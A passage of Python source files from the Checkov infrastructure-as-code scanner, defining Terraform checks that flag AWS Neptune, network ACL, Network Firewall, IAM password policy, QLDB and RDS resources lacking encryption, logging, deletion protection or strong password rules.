NeptuneClusterEncryptedWithCMK(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Neptune is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_347" supported_resources = ("aws_neptune_cluster",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "kms_key_arn" def get_expected_value(self) -> Any: return ANY_VALUE check = NeptuneClusterEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/NeptuneClusterInstancePublic.py ================================================ from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck from checkov.common.models.enums import CheckCategories from typing import List, Any class NeptuneClusterInstancePublic(BaseResourceNegativeValueCheck): def __init__(self): name = "Ensure Neptune Cluster instance is not publicly available" id = "CKV_AWS_102" supported_resources = ['aws_neptune_cluster_instance'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return 'publicly_accessible/[0]' def get_forbidden_values(self) -> List[Any]: return [True] check = NeptuneClusterInstancePublic() ================================================ FILE: checkov/terraform/checks/resource/aws/NeptuneClusterLogging.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories from typing import List class NeptuneClusterLogging(BaseResourceCheck): def __init__(self): name = "Ensure Neptune logging is enabled" id = "CKV_AWS_101" supported_resources = ['aws_neptune_cluster'] categories = [CheckCategories.LOGGING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): log_types = ["audit"] if 'enable_cloudwatch_logs_exports' in conf and conf['enable_cloudwatch_logs_exports'][0] \ and all(elem in conf['enable_cloudwatch_logs_exports'][0] for elem in log_types): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['enable_cloudwatch_logs_exports'] check = NeptuneClusterLogging() ================================================ FILE: checkov/terraform/checks/resource/aws/NeptuneClusterSnapshotEncrypted.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class NeptuneClusterSnapshotEncrypted(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Neptune snapshot is securely encrypted" id = "CKV_AWS_279" supported_resources = ("aws_neptune_cluster_snapshot",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "storage_encrypted" check = NeptuneClusterSnapshotEncrypted() ================================================ FILE: checkov/terraform/checks/resource/aws/NeptuneClusterSnapshotEncryptedWithCMK.py ================================================ from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class NeptuneClusterSnapshotEncrypted(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Neptune snapshot is encrypted by KMS using a customer managed Key (CMK)" id = "CKV_AWS_280" supported_resources = ("aws_neptune_cluster_snapshot",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "kms_key_id" def get_expected_value(self) -> Any: return ANY_VALUE check = NeptuneClusterSnapshotEncrypted() ================================================ FILE: checkov/terraform/checks/resource/aws/NeptuneClusterStorageEncrypted.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class NeptuneClusterStorageEncrypted(BaseResourceValueCheck): def __init__(self): name = "Ensure Neptune storage is securely encrypted" id = "CKV_AWS_44" supported_resources = ['aws_neptune_cluster'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "storage_encrypted" check = NeptuneClusterStorageEncrypted() ================================================ FILE: checkov/terraform/checks/resource/aws/NeptuneDBClustersCopyTagsToSnapshots.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class NeptuneDBClustersCopyTagsToSnapshots(BaseResourceValueCheck): def __init__(self): description = "Neptune DB clusters should be configured to copy tags to snapshots" id = "CKV_AWS_362" supported_resources = ['aws_neptune_cluster'] categories = [CheckCategories.BACKUP_AND_RECOVERY] super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "copy_tags_to_snapshot" check = NeptuneDBClustersCopyTagsToSnapshots() ================================================ FILE: checkov/terraform/checks/resource/aws/NeptuneDBClustersIAMDatabaseAuthenticationEnabled.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class NeptuneDBClustersIAMDatabaseAuthenticationEnabled(BaseResourceValueCheck): def __init__(self): description = "Neptune DB clusters should have IAM database authentication enabled" id = "CKV_AWS_359" supported_resources = ['aws_neptune_cluster'] categories = [CheckCategories.IAM] super().__init__(name=description, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "iam_database_authentication_enabled" check = NeptuneDBClustersIAMDatabaseAuthenticationEnabled() ================================================ FILE: checkov/terraform/checks/resource/aws/NetworkACLUnrestricted.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceCheck from checkov.common.models.enums import CheckResult, CheckCategories class NetworkACLUnrestricted(BaseResourceCheck): def __init__(self) -> None: name = "Ensure NACL ingress does not allow all Ports" id = "CKV_AWS_352" supported_resources = ('aws_network_acl_rule',) categories = (CheckCategories.NETWORKING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): egress = conf.get('egress') if egress and isinstance(egress, list) and egress[0]: return CheckResult.UNKNOWN port = conf.get('from_port') if port and isinstance(port, list) and port[0]: return CheckResult.PASSED return CheckResult.FAILED check = NetworkACLUnrestricted() ================================================ FILE: checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress20.py ================================================ from checkov.terraform.checks.resource.aws.AbsNACLUnrestrictedIngress import AbsNACLUnrestrictedIngress class NACLUnrestrictedIngress20(AbsNACLUnrestrictedIngress): def __init__(self): super().__init__(check_id="CKV_AWS_230", port=20) check = NACLUnrestrictedIngress20() ================================================ FILE: checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress21.py ================================================ from checkov.terraform.checks.resource.aws.AbsNACLUnrestrictedIngress import AbsNACLUnrestrictedIngress class NACLUnrestrictedIngress21(AbsNACLUnrestrictedIngress): def __init__(self): super().__init__(check_id="CKV_AWS_229", port=21) check = NACLUnrestrictedIngress21() ================================================ FILE: checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress22.py ================================================ from checkov.terraform.checks.resource.aws.AbsNACLUnrestrictedIngress import AbsNACLUnrestrictedIngress class NACLUnrestrictedIngress22(AbsNACLUnrestrictedIngress): def __init__(self): super().__init__(check_id="CKV_AWS_232", port=22) check = NACLUnrestrictedIngress22() ================================================ FILE: checkov/terraform/checks/resource/aws/NetworkACLUnrestrictedIngress3389.py ================================================ from checkov.terraform.checks.resource.aws.AbsNACLUnrestrictedIngress import AbsNACLUnrestrictedIngress class NACLUnrestrictedIngress3389(AbsNACLUnrestrictedIngress): def __init__(self): super().__init__(check_id="CKV_AWS_231", port=3389) check = NACLUnrestrictedIngress3389() ================================================ FILE: checkov/terraform/checks/resource/aws/NetworkFirewallDeletionProtection.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class NetworkFirewallDeletionProtection(BaseResourceValueCheck): def __init__(self): name = "Ensure that Network firewalls have deletion protection enabled" id = "CKV_AWS_344" supported_resources = ['aws_networkfirewall_firewall'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.FAILED) def get_inspected_key(self): return 'delete_protection' check = NetworkFirewallDeletionProtection() ================================================ FILE: checkov/terraform/checks/resource/aws/NetworkFirewallPolicyDefinesCMK.py ================================================ from typing import Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from checkov.common.models.consts import ANY_VALUE class NetworkFirewallPolicyDefinesCMK(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure Network Firewall Policy defines an encryption configuration that uses a " \ "customer managed Key (CMK)" id = "CKV_AWS_346" supported_resources = ("aws_networkfirewall_firewall_policy",) categories = (CheckCategories.ENCRYPTION,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "encryption_configuration/[0]/key_id" def get_expected_value(self) -> Any: return ANY_VALUE check = NetworkFirewallPolicyDefinesCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/NetworkFirewallUsesCMK.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories from typing import Any from checkov.common.models.consts import ANY_VALUE class NetworkFirewallUsesCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure that Network firewall encryption is via a CMK" id = "CKV_AWS_345" supported_resources = ['aws_networkfirewall_firewall', 'aws_networkfirewall_rule_group'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'encryption_configuration/[0]/key_id' def get_expected_value(self) -> Any: return ANY_VALUE check = NetworkFirewallUsesCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/PasswordPolicyExpiration.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.util.type_forcers import force_int class PasswordPolicyExpiration(BaseResourceValueCheck): def __init__(self): name = "Ensure IAM password policy expires passwords within 90 days or less" id = "CKV_AWS_9" supported_resources = ['aws_iam_account_password_policy'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'max_password_age' def get_expected_value(self): return 90 def scan_resource_conf(self, conf): """ validates iam password policy https://www.terraform.io/docs/providers/aws/r/iam_account_password_policy.html :param conf: aws_iam_account_password_policy configuration :return: """ key = 'max_password_age' if key in conf.keys(): max_age = conf[key][0] if self._is_variable_dependant(max_age): return CheckResult.UNKNOWN max_age = force_int(max_age) if max_age and 0 < max_age <= 90: return CheckResult.PASSED return CheckResult.FAILED check = PasswordPolicyExpiration() ================================================ FILE: checkov/terraform/checks/resource/aws/PasswordPolicyLength.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.util.type_forcers import force_int class PasswordPolicyLength(BaseResourceValueCheck): def __init__(self): name = "Ensure IAM password policy requires minimum length of 14 or greater" id = "CKV_AWS_10" supported_resources = ['aws_iam_account_password_policy'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'minimum_password_length' def get_expected_value(self): return 14 def scan_resource_conf(self, conf): """ validates iam password policy https://www.terraform.io/docs/providers/aws/r/iam_account_password_policy.html :param conf: aws_iam_account_password_policy configuration :return: """ key = 'minimum_password_length' if key in conf.keys(): length = conf[key][0] if self._is_variable_dependant(length): return CheckResult.UNKNOWN length = force_int(length) if not (length and length < 14): return CheckResult.PASSED return CheckResult.FAILED check = PasswordPolicyLength() ================================================ FILE: checkov/terraform/checks/resource/aws/PasswordPolicyLowercaseLetter.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class PasswordPolicyLowercaseLetter(BaseResourceValueCheck): def __init__(self): name = "Ensure IAM password policy requires at least one lowercase letter" id = "CKV_AWS_11" supported_resources = ['aws_iam_account_password_policy'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'require_lowercase_characters' check = PasswordPolicyLowercaseLetter() ================================================ FILE: checkov/terraform/checks/resource/aws/PasswordPolicyNumber.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class PasswordPolicyNumber(BaseResourceValueCheck): def __init__(self): name = "Ensure IAM password policy requires at least one number" id = "CKV_AWS_12" supported_resources = ['aws_iam_account_password_policy'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'require_numbers' check = PasswordPolicyNumber() ================================================ FILE: checkov/terraform/checks/resource/aws/PasswordPolicyReuse.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.util.type_forcers import force_int class PasswordPolicyReuse(BaseResourceValueCheck): def __init__(self): name = "Ensure IAM password policy prevents password reuse" id = "CKV_AWS_13" supported_resources = ['aws_iam_account_password_policy'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'password_reuse_prevention' def get_expected_value(self): return 24 def scan_resource_conf(self, conf): """ validates iam password policy https://www.terraform.io/docs/providers/aws/r/iam_account_password_policy.html :param conf: aws_iam_account_password_policy configuration :return: """ key = 'password_reuse_prevention' if key in conf.keys(): reuse = conf[key][0] if self._is_variable_dependant(reuse): return CheckResult.UNKNOWN reuse = force_int(reuse) if not (reuse and reuse < 24): return CheckResult.PASSED return CheckResult.FAILED check = PasswordPolicyReuse() ================================================ FILE: checkov/terraform/checks/resource/aws/PasswordPolicySymbol.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class PasswordPolicySymbol(BaseResourceValueCheck): def __init__(self): name = "Ensure IAM password policy requires at least one symbol" id = "CKV_AWS_14" supported_resources = ['aws_iam_account_password_policy'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'require_symbols' check = PasswordPolicySymbol() ================================================ FILE: checkov/terraform/checks/resource/aws/PasswordPolicyUppercaseLetter.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class PasswordPolicyUppcaseLetter(BaseResourceValueCheck): def __init__(self): name = "Ensure IAM password policy requires at least one uppercase letter" id = "CKV_AWS_15" supported_resources = ['aws_iam_account_password_policy'] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'require_uppercase_characters' check = PasswordPolicyUppcaseLetter() ================================================ FILE: checkov/terraform/checks/resource/aws/QLDBLedgerDeletionProtection.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class QLDBLedgerDeletionProtection(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure QLDB ledger has deletion protection enabled" id = "CKV_AWS_172" supported_resources = ["aws_qldb_ledger"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED) def get_inspected_key(self) -> str: return "deletion_protection" check = QLDBLedgerDeletionProtection() ================================================ FILE: checkov/terraform/checks/resource/aws/QLDBLedgerPermissionsMode.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class QLDBLedgerPermissionsMode(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure QLDB ledger permissions mode is set to STANDARD" id = "CKV_AWS_170" supported_resources = ["aws_qldb_ledger"] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "permissions_mode" def get_expected_value(self) -> str: return "STANDARD" check = QLDBLedgerPermissionsMode() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSCACertIsRecent.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from typing import Any, List class RDSCACertIsRecent(BaseResourceValueCheck): def __init__(self): name = "Ensure RDS uses a modern CaCert" id = "CKV_AWS_211" supported_resources = ["aws_db_instance"] categories = [CheckCategories.GENERAL_SECURITY] super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_block_result=CheckResult.PASSED ) def get_inspected_key(self) -> str: return "ca_cert_identifier" def get_expected_values(self) -> List[Any]: return ["rds-ca-rsa2048-g1", "rds-ca-rsa4096-g1", "rds-ca-ecc384-g1"] check = RDSCACertIsRecent() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSClusterActivityStreamEncryptedWithCMK.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class RDSClusterActivityStreamEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure RDS Cluster activity streams are encrypted using KMS CMKs" id = "CKV_AWS_246" supported_resources = ['aws_rds_cluster_activity_stream'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): """ Looks for encryption configuration for cluster activity streams: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/rds_cluster_activity_stream :param conf: aws_rds_cluster_activity_stream :return: """ return 'kms_key_id' def get_expected_value(self): return ANY_VALUE check = RDSClusterActivityStreamEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSClusterAuditLogging.py ================================================ from __future__ import annotations from typing import Any, List from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck SUPPORTED_ENGINES = { "aurora", "aurora-mysql", "mysql" } class RDSClusterAuditLogging(BaseResourceCheck): def __init__(self) -> None: """ NIST.800-53.r5 AC-2(4), NIST.800-53.r5 AC-4(26), NIST.800-53.r5 AC-6(9), NIST.800-53.r5 AU-10, NIST.800-53.r5 AU-12, NIST.800-53.r5 AU-2, NIST.800-53.r5 AU-3, NIST.800-53.r5 AU-6(3), NIST.800-53.r5 AU-6(4), NIST.800-53.r5 CA-7, NIST.800-53.r5 SC-7(10), NIST.800-53.r5 SC-7(9), NIST.800-53.r5 SI-3(8), NIST.800-53.r5 SI-4(20), NIST.800-53.r5 SI-7(8) Database logging should be enabled """ name = "Ensure that RDS Cluster audit logging is enabled for MySQL engine" id = "CKV_AWS_325" supported_resources = ("aws_rds_cluster",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: engine = conf.get("engine") if engine and isinstance(engine, list) and engine[0] not in SUPPORTED_ENGINES: # only MySQL cluster support easy audit logging export return CheckResult.UNKNOWN logs_exports = conf.get("enabled_cloudwatch_logs_exports") if ( logs_exports and isinstance(logs_exports, list) and isinstance(logs_exports[0], list) and "audit" in logs_exports[0] ): return CheckResult.PASSED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ["enabled_cloudwatch_logs_exports"] check = RDSClusterAuditLogging() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSClusterAuroraBacktrack.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_negative_value_check import BaseResourceNegativeValueCheck SUPPORTED_ENGINES = {"aurora", "aurora-mysql"} class RDSClusterAuroraBacktrack(BaseResourceNegativeValueCheck): def __init__(self) -> None: """ NIST.800-53.r5 CP-10, NIST.800-53.r5 CP-6, NIST.800-53.r5 CP-6(1), NIST.800-53.r5 CP-6(2), NIST.800-53.r5 CP-9, NIST.800-53.r5 SI-13(5) Amazon Aurora clusters should have backtracking enabled """ name = "Ensure that RDS Aurora Clusters have backtracking enabled" id = "CKV_AWS_326" supported_resources = ("aws_rds_cluster",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__( name=name, id=id, categories=categories, supported_resources=supported_resources, missing_attribute_result=CheckResult.FAILED, ) def scan_resource_conf(self, conf: dict[str, list[Any]]) -> CheckResult: engine = conf.get("engine") if engine and isinstance(engine, list) and engine[0] not in SUPPORTED_ENGINES: return CheckResult.UNKNOWN return super().scan_resource_conf(conf=conf) def get_inspected_key(self) -> str: return "backtrack_window" def get_forbidden_values(self) -> list[Any]: return [0] check = RDSClusterAuroraBacktrack() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSClusterCopyTags.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class RDSClusterCopyTags(BaseResourceValueCheck): def __init__(self) -> None: """ NIST.800-53.r5 CA-9(1), NIST.800-53.r5 CM-2, NIST.800-53.r5 CM-2(2) RDS DB clusters should be configured to copy tags to snapshots """ name = "Ensure RDS cluster configured to copy tags to snapshots" id = "CKV_AWS_313" supported_resources = ("aws_rds_cluster",) categories = (CheckCategories.GENERAL_SECURITY,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "copy_tags_to_snapshot" check = RDSClusterCopyTags() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSClusterEncrypted.py ================================================ from checkov.common.models.enums import CheckResult, CheckCategories from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck from typing import List class RDSClusterEncrypted(BaseResourceCheck): def __init__(self): name = "Ensure that RDS global clusters are encrypted" id = "CKV_AWS_140" supported_resources = ['aws_rds_global_cluster'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): """ Looks for storage_encrypted at aws_rds_global_cluster: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/rds_global_cluster :param conf: aws_rds_global_cluster configuration :return: """ if "source_db_cluster_identifier" in conf.keys(): return CheckResult.UNKNOWN if "storage_encrypted" in conf.keys(): if conf["storage_encrypted"][0]: return CheckResult.PASSED return CheckResult.FAILED return CheckResult.FAILED def get_evaluated_keys(self) -> List[str]: return ['aws_rds_global_cluster'] check = RDSClusterEncrypted() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSClusterEncryptedWithCMK.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class RDSClusterEncryptedWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure RDS Clusters are encrypted using KMS CMKs" id = "CKV_AWS_327" supported_resources = ['aws_rds_cluster'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'kms_key_id' def get_expected_value(self): return ANY_VALUE check = RDSClusterEncryptedWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSClusterIAMAuthentication.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class RDSClusterIAMAuthentication(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure RDS cluster has IAM authentication enabled" id = "CKV_AWS_162" supported_resources = ["aws_rds_cluster"] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "iam_database_authentication_enabled" check = RDSClusterIAMAuthentication() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSClusterLogging.py ================================================ from typing import Any from checkov.common.models.consts import ANY_VALUE from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class DBInstanceLogging(BaseResourceValueCheck): def __init__(self) -> None: """ NIST.800-53.r5 AC-2(4), NIST.800-53.r5 AC-4(26), NIST.800-53.r5 AC-6(9), NIST.800-53.r5 AU-10, NIST.800-53.r5 AU-12, NIST.800-53.r5 AU-2, NIST.800-53.r5 AU-3, NIST.800-53.r5 AU-6(3), NIST.800-53.r5 AU-6(4), NIST.800-53.r5 CA-7, NIST.800-53.r5 SC-7(10), NIST.800-53.r5 SC-7(9), NIST.800-53.r5 SI-3(8), NIST.800-53.r5 SI-4(20), NIST.800-53.r5 SI-7(8) Database logging should be enabled """ name = "Ensure that RDS Cluster log capture is enabled" id = "CKV_AWS_324" supported_resources = ("aws_rds_cluster",) categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "enabled_cloudwatch_logs_exports/[0]" def get_expected_value(self) -> Any: return ANY_VALUE check = DBInstanceLogging() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSClusterSnapshotEncrypted.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class RDSClusterSnapshotEncrypted(BaseResourceValueCheck): def __init__(self): name = "Ensure that RDS database cluster snapshot is encrypted" id = "CKV_AWS_146" supported_resources = ['aws_db_cluster_snapshot'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'storage_encrypted' check = RDSClusterSnapshotEncrypted() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSDeletionProtection.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class RDSDeletionProtection(BaseResourceValueCheck): def __init__(self): name = "Ensure that RDS clusters have deletion protection enabled" id = "CKV_AWS_139" supported_resources = ['aws_rds_cluster'] categories = [CheckCategories.GENERAL_SECURITY] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return 'deletion_protection' check = RDSDeletionProtection() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSEncryption.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class RDSEncryption(BaseResourceValueCheck): def __init__(self): name = "Ensure all data stored in the RDS is securely encrypted at rest" id = "CKV_AWS_16" supported_resources = ['aws_db_instance'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): return "storage_encrypted" check = RDSEncryption() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSEnhancedMonitorEnabled.py ================================================ from __future__ import annotations from typing import Any from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck class RDSEnhancedMonitorEnabled(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure that enhanced monitoring is enabled for Amazon RDS instances" id = "CKV_AWS_118" supported_resources = ("aws_db_instance", "aws_rds_cluster_instance") categories = (CheckCategories.LOGGING,) super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "monitoring_interval" def get_expected_values(self) -> list[Any]: return [1, 5, 10, 15, 30, 60] check = RDSEnhancedMonitorEnabled() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSHasSecurityGroup.py ================================================ from checkov.common.models.enums import CheckCategories, CheckResult from checkov.terraform.checks.resource.base_resource_check import BaseResourceCheck class RDSHasSecurityGroup(BaseResourceCheck): def __init__(self): name = "Ensure no aws_db_security_group resources exist" id = "CKV_AWS_198" supported_resources = ['aws_db_security_group'] categories = [CheckCategories.NETWORKING] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def scan_resource_conf(self, conf): # this resource should not exist - RDS Security Groups are for use only # when working with an RDS instances outside of a VPC. return CheckResult.FAILED check = RDSHasSecurityGroup() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSIAMAuthentication.py ================================================ from typing import Dict, List, Any from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories, CheckResult class RDSIAMAuthentication(BaseResourceValueCheck): def __init__(self) -> None: name = "Ensure RDS database has IAM authentication enabled" id = "CKV_AWS_161" supported_resources = ["aws_db_instance"] categories = [CheckCategories.IAM] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self) -> str: return "iam_database_authentication_enabled" def scan_resource_conf(self, conf: Dict[str, List[Any]]) -> CheckResult: # IAM authentication is only supported for MySQL and PostgreSQL if conf.get("engine") not in (["mysql"], ["postgres"]): return CheckResult.UNKNOWN return super().scan_resource_conf(conf) check = RDSIAMAuthentication() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSInstanceAutoBackupEncryptionWithCMK.py ================================================ from checkov.common.models.enums import CheckCategories from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.consts import ANY_VALUE class RDSInstanceAutoBackupEncryptionWithCMK(BaseResourceValueCheck): def __init__(self): name = "Ensure replicated backups are encrypted at rest using KMS CMKs" id = "CKV_AWS_245" supported_resources = ['aws_db_instance_automated_backups_replication'] categories = [CheckCategories.ENCRYPTION] super().__init__(name=name, id=id, categories=categories, supported_resources=supported_resources) def get_inspected_key(self): """ Looks for encryption configuration for backup replication: https://registry.terraform.io/providers/hashicorp/aws/latest/docs/resources/db_instance_automated_backups_replication :param conf: aws_db_instance_automated_backups_replication configuration :return: """ return 'kms_key_id' def get_expected_value(self): return ANY_VALUE check = RDSInstanceAutoBackupEncryptionWithCMK() ================================================ FILE: checkov/terraform/checks/resource/aws/RDSInstanceDeletionProtection.py ================================================ from checkov.terraform.checks.resource.base_resource_value_check import BaseResourceValueCheck from checkov.common.models.enums import CheckCategories class RDSInstanceDeletionProtection(BaseResourceValueCheck): def __init__(self): name = "Ensure that AWS database instances have deletion protection enabled" id = "CKV_AWS_293" supported_resources = ['aws_db_instance'] categories = [CheckCategories.GENERAL_SECURITY] 